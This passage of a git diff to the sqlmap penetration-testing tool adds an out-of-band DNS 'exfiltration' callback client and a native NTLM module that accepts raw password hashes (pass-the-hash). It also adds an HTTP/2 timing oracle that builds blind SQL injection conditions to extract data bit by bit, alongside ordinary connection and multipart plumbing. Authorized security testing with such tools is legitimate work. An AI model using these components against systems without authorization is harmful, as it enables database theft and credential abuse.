AES-256-CTR. pycryptodome is an +# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py); +# without it the OOB tier is simply skipped rather than erroring. +try: + from Crypto.Cipher import AES + from Crypto.Cipher import PKCS1_OAEP + from Crypto.Hash import SHA256 + from Crypto.PublicKey import RSA + _HAS_CRYPTO = True +except ImportError: + _HAS_CRYPTO = False + + +def hasCrypto(): + return _HAS_CRYPTO + + +class Interactsh(object): + """Minimal interactsh client: registers a per-scan RSA key with a public (or + self-hosted) interactsh server, hands out unique callback URLs, and polls for + the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on + the wire and decrypted locally, so the server operator never sees their content. + All HTTP goes through sqlmap's own request stack (proxy/timeout honoured).""" + + def __init__(self, server=None, token=None): + self.server = None + self.token = token or conf.get("oobToken") + self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True) + self.secret = randomStr(32, lowercase=True) + self.registered = False + self._key = None + self._dnsNonce = None + + if not _HAS_CRYPTO: + return + + self._key = RSA.generate(2048) + pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM")))) + candidates = [server] if server else list(OOB_INTERACTSH_SERVERS) + + for candidate in candidates: + if not candidate: + continue + body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId}) + if self._request("https://%s/register" % candidate, post=body): + self.server = candidate + self.registered = True + logger.debug("registered with OOB interaction server '%s'" % candidate) + break + + def _request(self, url, post=None): + """Direct request to the interactsh server (a fixed service, never the target). + Self-contained on urllib so it works regardless of sqlmap's request-stack init + order (it is also called during option setup, before getPage is usable); honours + --proxy and tolerates self-signed certs like the rest of sqlmap. Returns the + response body text on success, otherwise None.""" + try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + if self.token: + headers[HTTP_HEADER.AUTHORIZATION] = self.token + + handlers = [] + try: + # Verify TLS for the (public, valid-cert) interaction server by default; + # only skip verification when the user has globally opted out (--force-ssl-verify + # off / verifyCert False), matching sqlmap's own TLS posture. + context = ssl.create_default_context() + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) + except Exception as ex: + logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex))) + return None + + def url(self): + """Return a fresh unique callback URL (host = correlationId + nonce).""" + nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "http://%s%s.%s" % (self.correlationId, nonce, self.server) + + def dnsDomain(self): + """Stable domain suffix (host = correlationId + a fixed nonce) usable as an + exfiltration suffix - additional labels prepended by a payload still resolve + to this correlation id, so every DNS lookup under it is captured.""" + if not self._dnsNonce: + self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server) + + def dnsNames(self): + """Poll and return the fully-qualified names (minus the server suffix) of the + DNS lookups captured so far, e.g. 'prefix..suffix.'.""" + return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")] + + def poll(self): + """Return the list of decrypted interaction records captured so far.""" + if not self.registered: + return [] + + page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret)) + if not page: + return [] + + try: + response = json.loads(page) + except ValueError: + return [] + + retVal = [] + data = response.get("data") or [] + if data: + try: + aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"])) + except Exception as ex: + logger.debug("OOB AES key decryption failed: %s" % getText(ex)) + return [] + + for item in data: + try: + raw = base64.b64decode(item) + plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:]) + retVal.append(json.loads(getText(plain))) + except Exception as ex: + logger.debug("OOB interaction decryption failed: %s" % getText(ex)) + + return retVal + + def pollUntil(self, attempts, delay): + """Poll repeatedly, returning as soon as any interaction is captured.""" + for _ in range(attempts): + time.sleep(delay) + interactions = self.poll() + if interactions: + return interactions + return [] + + def close(self): + if self.registered: + body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret}) + self._request("https://%s/deregister" % self.server, post=body) + self.registered = False diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py new file mode 100644 index 00000000000..1195ff477ea --- /dev/null +++ b/lib/request/keepalive.py @@ -0,0 +1,347 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import socket +import threading +import time + +from lib.core.settings import KEEPALIVE_IDLE_TIMEOUT +from lib.core.settings import KEEPALIVE_MAX_REQUESTS +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# Note: prior to Python 2.4 it was the HTTP handler's job to decide what to handle +# specially; since 2.4 that belongs to HTTPErrorProcessor, hence everything is passed up +HANDLE_ERRORS = 0 + +class _ConnectionPool(threading.local): + """ + Per-thread pool of reusable persistent connections. + + Keeping one connection per (scheme, host) and per worker thread is what + keeps Keep-Alive safe under '--threads': a socket is never shared between + threads, so concurrent requests can never interleave on the same wire (the + classic cause of response desynchronization). Synchronous reuse within a + single thread is fine because the previous response is always fully drained + before the next request is issued (see L{_KeepAliveResponseMixin}). + """ + + def __init__(self): + self.conns = {} # key -> [connection, request_count, last_used] + +class _KeepAliveHandler(object): + def __init__(self): + self._pool = _ConnectionPool() + + def _take(self, key): + """ + Returns a (still usable) pooled connection for L{key} or None + """ + + entry = self._pool.conns.pop(key, None) + + if entry is not None: + conn, count, last = entry + if (time.time() - last) <= KEEPALIVE_IDLE_TIMEOUT and count < KEEPALIVE_MAX_REQUESTS: + return conn, count + + # Too old or too heavily used; drop it + try: + conn.close() + except Exception: + pass + + return None, 0 + + def _give_back(self, key, conn, count): + self._pool.conns[key] = [conn, count, time.time()] + + @staticmethod + def _takeTunnelHeaders(req): + """ + Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the + CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring + the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup + """ + + result = {} + for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)): + if store: + for name in list(store): + if name.lower() == "proxy-authorization": + result[name] = store.pop(name) + return result + + def do_open(self, req): + # Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since + # 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2 + host = req.host if hasattr(req, "host") else req.get_host() + + if not host: + raise _urllib.error.URLError("no host given") + + # When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a + # plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target + # '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when + # tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy + # socket serves many origins, and a direct connection is keyed by its own host exactly as before). + tunnelHost = getattr(req, "_tunnel_host", None) + tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None + key = "%s://%s" % (self._scheme, tunnelHost or host) + + conn, count = self._take(key) + reused = conn is not None + + try: + if reused: + # A pooled socket may have been closed by the server in the + # meantime; treat any failure (or a bogus HTTP/0.9 reply, which + # is httplib's tell-tale for a dead socket) as a stale connection + try: + self._send_request(conn, req) + response = conn.getresponse() + if response is None or getattr(response, "version", 0) == 9: + raise _http_client.HTTPException("stale connection") + except (socket.error, _http_client.HTTPException): + try: + conn.close() + except Exception: + pass + conn = None + reused = False + + if conn is None: + conn = self._get_connection(host) + if tunnelHost: + conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {}) + count = 0 + self._send_request(conn, req) + response = conn.getresponse() + except (socket.error, _http_client.HTTPException) as ex: + raise _urllib.error.URLError(ex) + + count += 1 + + # Honor an explicit 'Connection: close' even when L{will_close} wasn't set + willClose = response.will_close + if not willClose: + try: + headers = getattr(response, "msg", None) or getattr(response, "headers", None) + value = headers.get("connection") or headers.get("Connection") if headers else None + if value and "close" in value.lower(): + willClose = True + except Exception: + pass + + keep = not willClose and count < KEEPALIVE_MAX_REQUESTS + + self._adapt(response, req.get_full_url()) + self._instrument(response, key, conn, count, keep) + + if response.status == 200 or not HANDLE_ERRORS: + return response + else: + return self.parent.error("http", req, response, response.status, response.reason, response.headers) + + def _adapt(self, response, url): + """ + Makes a raw httplib response indistinguishable from the object normally + returned by C{urlopen} (the surface the rest of sqlmap relies on) + """ + + headers = getattr(response, "headers", None) + if headers is None: + headers = response.msg # Python 2: msg holds the parsed headers + + response.url = url + response.code = response.status + response.headers = headers + + if not hasattr(response, "info"): + response.info = lambda headers=headers: headers + if not hasattr(response, "geturl"): + response.geturl = lambda url=url: url + if not hasattr(response, "getcode"): + response.getcode = lambda response=response: response.status + + # Note: Python 2's httplib.HTTPResponse lacks readline()/readlines(), which urllib2's + # error wrapping (addinfourl, for any non-2xx response) requires; provide them over read() + if not hasattr(response, "readline"): + response.readline = _makeReadline(response) + response.readlines = _makeReadlines(response) + + # Note: must come last as on Python 3 'msg' initially aliases the headers + response.msg = response.reason + + def _instrument(self, response, key, conn, count, keep): + """ + Returns the connection to the pool once (and only once) its body has been + fully consumed; otherwise the socket is closed. A partially read response + (e.g. sqlmap hitting a size cap) leaves unread bytes on the wire, so such + a connection is never reused. + """ + + # 'eof' is raised only on a genuine end-of-body (observed while reading), never + # merely because close() nulled the file object; the socket is handed back to the + # pool solely on that signal, so a half-read response can never be reused (which + # would splice its leftover bytes onto the next request - response desynchronization) + state = {"handled": False, "reading": False, "eof": False} + _read = response.read + _close = response.close + + def drained(): + checker = getattr(response, "isclosed", None) + if callable(checker): + try: + return checker() + except Exception: + return False + return getattr(response, "fp", None) is None + + def settle(): + # Once (and only once) the body is fully drained, decide the socket's fate + if state["handled"] or not state["eof"]: + return + state["handled"] = True + if keep: + self._give_back(key, conn, count) + else: + try: + conn.close() + except Exception: + pass + + def read(*args, **kwargs): + state["reading"] = True + try: + data = _read(*args, **kwargs) + finally: + state["reading"] = False + if drained(): + state["eof"] = True + settle() + return data + + def close(): + # Note: on Python 2 httplib.read() calls close() itself upon EOF, i.e. from inside + # our read(); such an in-read close marks a real end-of-body. An external close() + # on a not-yet-drained body means the caller abandoned it (e.g. sqlmap hitting a + # size cap), so the socket must be dropped rather than returned to the pool. + if state["reading"]: + state["eof"] = True + _close() + settle() + if not state["handled"]: + # Closed before the body was fully consumed; unsafe to reuse + state["handled"] = True + try: + conn.close() + except Exception: + pass + + response._keepaliveManaged = True + response.read = read + response.close = close + +class HTTPKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPHandler): + _scheme = "http" + + def __init__(self): + _KeepAliveHandler.__init__(self) + + def http_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + return _http_client.HTTPConnection(host) + + def _send_request(self, conn, req): + _sendRequest(conn, req) + +class HTTPSKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPSHandler): + _scheme = "https" + + def __init__(self): + _KeepAliveHandler.__init__(self) + + def https_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + # Note: reuses sqlmap's SSL-negotiating connection (lib/request/httpshandler.py) + from lib.request.httpshandler import HTTPSConnection + from lib.request.httpshandler import ssl + return HTTPSConnection(host) if ssl else _http_client.HTTPSConnection(host) + + def _send_request(self, conn, req): + _sendRequest(conn, req) + +def _sendRequest(conn, req): + """ + Issues L{req} on the (possibly reused) low-level connection L{conn} + """ + + data = getattr(req, "data", None) + method = req.get_method() or ("POST" if data is not None else "GET") + selector = req.selector if hasattr(req, "selector") else req.get_selector() + + try: + conn.putrequest(method, selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) + + if data is not None: + if not req.has_header("Content-type"): + conn.putheader("Content-type", "application/x-www-form-urlencoded") + if not req.has_header("Content-length"): + conn.putheader("Content-length", "%d" % len(data)) + except (socket.error, _http_client.HTTPException) as ex: + raise _urllib.error.URLError(ex) + + if not req.has_header("Connection"): + conn.putheader("Connection", "keep-alive") + + for key, value in req.header_items(): + conn.putheader(key, value) + + conn.endheaders() + + if data is not None: + conn.send(data) + +def _makeReadline(response): + """ + A buffered readline() over response.read() (Python 2 httplib.HTTPResponse lacks one) + """ + + buffer = {"data": b""} + + def readline(*args, **kwargs): + while b"\n" not in buffer["data"]: + chunk = response.read(8192) + if not chunk: + break + buffer["data"] += chunk + data = buffer["data"] + index = data.find(b"\n") + if index == -1: + buffer["data"] = b"" + return data + buffer["data"] = data[index + 1:] + return data[:index + 1] + + return readline + +def _makeReadlines(response): + def readlines(*args, **kwargs): + result = [] + while True: + line = response.readline() + if not line: + break + result.append(line) + return result + + return readlines diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 8535557b44f..3250cfe5c60 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/multiparthandler.py b/lib/request/multiparthandler.py new file mode 100644 index 00000000000..d0a7980d22a --- /dev/null +++ b/lib/request/multiparthandler.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import io +import mimetypes +import re + +from lib.core.compat import choose_boundary +from lib.core.convert import getBytes +from lib.core.exception import SqlmapDataException +from thirdparty.six.moves import urllib as _urllib + +# Controls how sequences are encoded: if True, an element may be given multiple values by assigning a sequence +DOSEQ = True + +class MultipartPostHandler(_urllib.request.BaseHandler): + """ + urllib handler that transparently encodes a dict request body as multipart/form-data when it carries + file-like values (and as a plain urlencoded body otherwise). Native replacement for the historically + vendored 'thirdparty/multipart/multipartpost.py' (Will Holcomb, 2006); the logic already relied on + sqlmap's own helpers, so it now lives here as a first-class request handler. + """ + + handler_order = _urllib.request.HTTPHandler.handler_order - 10 # must run before the HTTP handler + + def http_request(self, request): + data = request.data + + if isinstance(data, dict): + files, variables = [], [] + + try: + for key, value in data.items(): + if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): + files.append((key, value)) + else: + variables.append((key, value)) + except TypeError: + raise SqlmapDataException("not a valid non-string sequence or mapping object") + + if not files: + data = _urllib.parse.urlencode(variables, DOSEQ) + else: + boundary, data = self.multipartEncode(variables, files) + request.add_unredirected_header("Content-Type", "multipart/form-data; boundary=%s" % boundary) + + request.data = data + + # normalize bare LF to CRLF inside a multipart body (Reference: https://github.com/sqlmapproject/sqlmap/issues/4235) + if request.data: + for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + + return request + + def multipartEncode(self, variables, files, boundary=None): + boundary = boundary or choose_boundary() + buffer_ = b"" + + for key, value in variables: + if key is not None and value is not None: + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) + buffer_ += b"\r\n\r\n" + getBytes(value) + b"\r\n" + + for key, fd in files: + filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1] + try: + contentType = mimetypes.guess_type(filename)[0] or b"application/octet-stream" + except Exception: + # Reference: http://bugs.python.org/issue9291 + contentType = b"application/octet-stream" + buffer_ += b"--%s\r\n" % getBytes(boundary) + buffer_ += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) + buffer_ += b"Content-Type: %s\r\n" % getBytes(contentType) + fd.seek(0) + buffer_ += b"\r\n%s\r\n" % fd.read() + + buffer_ += b"--%s--\r\n\r\n" % getBytes(boundary) + + return boundary, getBytes(buffer_) + + https_request = http_request diff --git a/lib/request/ntlm.py b/lib/request/ntlm.py new file mode 100644 index 00000000000..1b88812943c --- /dev/null +++ b/lib/request/ntlm.py @@ -0,0 +1,269 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free NTLM-over-HTTP authentication (MS-NLMP / MS-NTHT), replacing the ancient +# and unmaintained 'python-ntlm' third-party library. Pure standard library + the in-tree pyDes for +# the DES core (hashlib's MD4 is unavailable under OpenSSL 3's unloaded legacy provider, so MD4 is +# implemented here per RFC 1320). Python 2.7 / 3.x. Crypto validated against the [MS-NLMP] test vectors. + +import base64 +import binascii +import os +import re +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.pydes.pyDes import des +from thirdparty.pydes.pyDes import ECB +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# ---------- MD4 (RFC 1320) ---------- +def _md4(data): + data = bytearray(data) + n = len(data) + data.append(0x80) + while len(data) % 64 != 56: + data.append(0) + data += struct.pack("> (32 - s))) & M + + for off in range(0, len(data), 64): + X = struct.unpack("<16I", bytes(data[off:off + 64])) + A, B, C, D = a, b, c, d + F = lambda x, y, z: (x & y) | (~x & z) + G = lambda x, y, z: (x & y) | (x & z) | (y & z) + H = lambda x, y, z: x ^ y ^ z + + for k in (0, 4, 8, 12): + A = rot((A + F(B, C, D) + X[k]) & M, 3) + D = rot((D + F(A, B, C) + X[k + 1]) & M, 7) + C = rot((C + F(D, A, B) + X[k + 2]) & M, 11) + B = rot((B + F(C, D, A) + X[k + 3]) & M, 19) + for k in (0, 1, 2, 3): + A = rot((A + G(B, C, D) + X[k] + 0x5a827999) & M, 3) + D = rot((D + G(A, B, C) + X[k + 4] + 0x5a827999) & M, 5) + C = rot((C + G(D, A, B) + X[k + 8] + 0x5a827999) & M, 9) + B = rot((B + G(C, D, A) + X[k + 12] + 0x5a827999) & M, 13) + for k in (0, 2, 1, 3): + A = rot((A + H(B, C, D) + X[k] + 0x6ed9eba1) & M, 3) + D = rot((D + H(A, B, C) + X[k + 8] + 0x6ed9eba1) & M, 9) + C = rot((C + H(D, A, B) + X[k + 4] + 0x6ed9eba1) & M, 11) + B = rot((B + H(C, D, A) + X[k + 12] + 0x6ed9eba1) & M, 15) + + a, b, c, d = (a + A) & M, (b + B) & M, (c + C) & M, (d + D) & M + + return struct.pack("<4I", a, b, c, d) + +# ---------- DES core (in-tree pyDes) with the NTLM 7->8 byte parity key expansion ---------- +def _str_to_key(chunk): + s = bytearray(chunk) + k = [s[0] >> 1, + ((s[0] & 0x01) << 6) | (s[1] >> 2), + ((s[1] & 0x03) << 5) | (s[2] >> 3), + ((s[2] & 0x07) << 4) | (s[3] >> 4), + ((s[3] & 0x0f) << 3) | (s[4] >> 5), + ((s[4] & 0x1f) << 2) | (s[5] >> 6), + ((s[5] & 0x3f) << 1) | (s[6] >> 7), + s[6] & 0x7f] + return bytes(bytearray((_ << 1) & 0xff for _ in k)) + +def _des(key7, block8): + return des(_str_to_key(key7), ECB).encrypt(block8) + +# ---------- negotiate flags ---------- +NTLM_NegotiateUnicode = 0x00000001 +NTLM_NegotiateOEM = 0x00000002 +NTLM_RequestTarget = 0x00000004 +NTLM_NegotiateNTLM = 0x00000200 +NTLM_NegotiateOemDomainSupplied = 0x00001000 +NTLM_NegotiateOemWorkstationSupplied = 0x00002000 +NTLM_NegotiateAlwaysSign = 0x00008000 +NTLM_NegotiateExtendedSecurity = 0x00080000 +NTLM_NegotiateTargetInfo = 0x00800000 +NTLM_NegotiateVersion = 0x02000000 +NTLM_Negotiate128 = 0x20000000 +NTLM_Negotiate56 = 0x80000000 +NTLM_MsvAvTimestamp = 7 + +NTLM_TYPE1_FLAGS = (NTLM_NegotiateUnicode | NTLM_NegotiateOEM | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateOemDomainSupplied | NTLM_NegotiateOemWorkstationSupplied | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateVersion | + NTLM_Negotiate128 | NTLM_Negotiate56) +NTLM_TYPE2_FLAGS = (NTLM_NegotiateUnicode | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateTargetInfo | + NTLM_NegotiateVersion | NTLM_Negotiate128 | NTLM_Negotiate56) + +_HASH_RE = re.compile(r"\A[0-9a-fA-F]{32}:[0-9a-fA-F]{32}\Z") + +# ---------- password hashes / challenge responses ---------- +def create_LM_hashed_password_v1(password): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[0]) + pw = (getBytes(password.upper()) + b"\0" * 14)[:14] + return _des(pw[0:7], b"KGS!@#$%") + _des(pw[7:14], b"KGS!@#$%") + +def create_NT_hashed_password_v1(password, user=None, domain=None): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[1]) + return _md4(password.encode("utf-16-le")) + +def calc_resp(password_hash, server_challenge): + ph = password_hash + b"\0" * (21 - len(password_hash)) + return _des(ph[0:7], server_challenge) + _des(ph[7:14], server_challenge) + _des(ph[14:21], server_challenge) + +def ntlm2sr_calc_resp(nt_hash, server_challenge, client_challenge): + import hashlib + lm_response = client_challenge + b"\0" * 16 + session = hashlib.md5(server_challenge + client_challenge).digest() + nt_response = calc_resp(nt_hash, session[0:8]) + return (nt_response, lm_response) + +# ---------- messages ---------- +def create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags=NTLM_TYPE1_FLAGS): + workstation = getBytes(socket.gethostname().upper()) + domain = getBytes(user.split('\\', 1)[0].upper()) + body = 40 + msg = b"NTLMSSP\0" + struct.pack("= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): diff --git a/lib/request/templates.py b/lib/request/templates.py index bf673e2777b..42ebe074e20 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/timeless.py b/lib/request/timeless.py new file mode 100644 index 00000000000..39f49615344 --- /dev/null +++ b/lib/request/timeless.py @@ -0,0 +1,714 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native +# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single +# TCP write and multiplexed on one connection; because they share the packet and the path, network +# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects +# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be +# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the +# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines. +# +# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing +# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable +# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. + +import threading + +from lib.core.enums import DBMS +from lib.request.http2 import _H2Connection + +# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage. +_engageLock = threading.Lock() + + +def buildConditionPair(condition, heavy, cheap="0"): + """Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g. + 'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB + do the expensive `heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work + iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order + names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid + booleans (>=0 always holds) so they never change the page, keeping the channel blind. + + `heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function); + `cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying + on optimiser short-circuit. + + >>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t") + >>> c + '(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0' + >>> n + '(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0' + """ + condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap) + negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy) + return condExpr, negExpr + + +def _pairOrder(conn, reqA, reqB, timeout): + """Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two + stream ids in send order (reqA got the lower id).""" + order, _results = conn.exchange_pair([reqA, reqB], timeout) + loSid = conn.next_sid - 4 + hiSid = conn.next_sid - 2 + return order[0], loSid, hiSid + + +def readBit(conn, reqCond, reqNeg, votes=5, timeout=30): + """Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is + ambiguous (load-degraded). + + reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the + condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes + LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias) + and counts how often reqCond finished last: + - real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0 + - real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0 + - END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run + heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past + the end - CockroachDB - both requests error and it is a ~0.5 coin flip). + Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and + CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom + trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g. + --threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was + single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep + voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a + lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query + time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded.""" + condLast, i = 0, 0 + cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits + while True: + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout) + condSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout) + condSid = hiSid + if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE + condLast += 1 + i += 1 + if i < votes: # gather a minimum sample before deciding + continue + fraction = condLast / float(i) + if fraction >= 0.8: + return True + if fraction <= 0.5: + return False + if i >= cap: # still ambiguous after escalating -> decide by the same threshold + return fraction >= 0.8 + + +def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None): + """Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair + (reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent + backend the slow request finishes last regardless of its id. Returns (usable, confidence) where + confidence is the fraction of trials in which the slow request finished last. Below `threshold` the + backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if + given, is called once per trial so the caller can stream a progress indicator.""" + slowLast = 0 + for i in range(trials): + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout) + slowSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout) + slowSid = hiSid + if first != slowSid: + slowLast += 1 + if progress is not None: + progress() + confidence = slowLast / float(trials) if trials else 0.0 + return (confidence >= threshold), confidence + + +def connect(host, port=443, proxy=None, timeout=30): + """Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so + its multiplexed pairs never interleave with ordinary single-stream traffic).""" + return _H2Connection(host, port, proxy, timeout) + + +class TimelessOracle(object): + """The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every + boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the + already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy + reference and reads the bit from response order. This reuses the entire bisection/inference/threading + stack unchanged - bisection just calls queryPage and gets a bool. + + Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py + and the http2 pool - streams from different threads never interleave on one socket, so parallel + per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an + immutable spec-derived dict, so it is shared read-only across threads.""" + + def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30): + self.host, self.port, self.proxy = host, port, proxy + self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak) + self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded + self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit); + # enough votes that TRUE ~100% and end-of-string ~50% separate cleanly + self.timeout = timeout + self._local = threading.local() + self._conns = [] # every opened connection, for clean teardown + self._lock = threading.Lock() + 